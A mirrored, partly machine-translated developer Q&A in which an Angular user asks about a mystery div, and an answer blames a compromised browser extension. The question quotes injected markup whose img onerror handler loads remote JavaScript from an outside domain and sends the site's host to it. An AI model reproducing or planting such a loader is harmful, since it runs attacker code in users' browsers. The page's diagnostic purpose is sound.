简体   繁体   English

出现在body标签底部的角度未知的div?

[英]Angular unknown div appearing at bottom of body tag?

There's a div appearing at the bottom of my webpages on an angular project I'm building.在我正在构建的角度项目中,我的网页底部出现了一个 div。 It seems to be caused by the following div which appears at the end of my body tag.这似乎是由出现在我的 body 标签末尾的以下 div 引起的。

<div>
    <img src(unknown) onerror="var s=document.createElement(&quot;script&quot;);s.type=&quot;text/javascript&quot;;s.id=&quot;cczedcc-plg-analytics&quot;;s.src=&quot;https://data1.egletrip.com/scripts/js?k=5bed7ffd85df1a39468b4567&amp;s=&quot;+encodeURI(btoa(window.location.host));document.getElementsByTagName(&quot;head&quot;)[0].appendChild(s);">
</div>

The only item in my body tag is a router outlet, but the div still appears even with that removed.我的身体标签中唯一的项目是路由器插座,但即使删除了 div 仍然出现。 I think this might be due to one of my node modules but I can't figure out which.我认为这可能是由于我的一个节点模块造成的,但我不知道是哪个。

package.json包.json

"dependencies": {
    "@angular/animations": "~11.0.0",
    "@angular/common": "~11.0.0",
    "@angular/compiler": "~11.0.0",
    "@angular/core": "~11.0.0",
    "@angular/forms": "~11.0.0",
    "@angular/platform-browser": "~11.0.0",
    "@angular/platform-browser-dynamic": "~11.0.0",
    "@angular/router": "~11.0.0",
    "bootstrap": "^4.5.3",
    "jquery": "^3.5.1",
    "popper": "^1.0.1",
    "rxjs": "~6.6.0",
    "tslib": "^2.0.0",
    "zone.js": "~0.10.2"
},
"devDependencies": {
    "@angular-devkit/build-angular": "~0.1100.1",
    "@angular/cli": "~11.0.1",
    "@angular/compiler-cli": "~11.0.0",
    "@types/jasmine": "~3.6.0",
    "@types/node": "^12.11.1",
    "codelyzer": "^6.0.0",
    "jasmine-core": "~3.6.0",
    "jasmine-spec-reporter": "~5.0.0",
    "karma": "~5.1.0",
    "karma-chrome-launcher": "~3.1.0",
    "karma-coverage": "~2.0.3",
    "karma-jasmine": "~4.0.0",
    "karma-jasmine-html-reporter": "^1.5.0",
    "protractor": "~7.0.0",
    "ts-node": "~8.3.0",
    "tslint": "~6.1.0",
    "typescript": "~4.0.2"
}

I think one of your browser extensions is bought by a malicious party and is being used to inject code into your textfields or post data.我认为您的浏览器扩展程序之一被恶意方购买,并被用于将代码注入您的文本字段或发布数据。

One of my users had the same issue and I bumped into this article: https://www.perimeterx.com/tech-blog/2020/the-missing-lnkr/我的一个用户遇到了同样的问题,我偶然发现了这篇文章: https : //www.perimeterx.com/tech-blog/2020/the-missing-lnkr/

I still need to dig a bit deeper (I found this question doing research), but that code looks suspicious AF.我仍然需要更深入地挖掘(我发现这个问题正在研究中),但该代码看起来很可疑 AF。

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM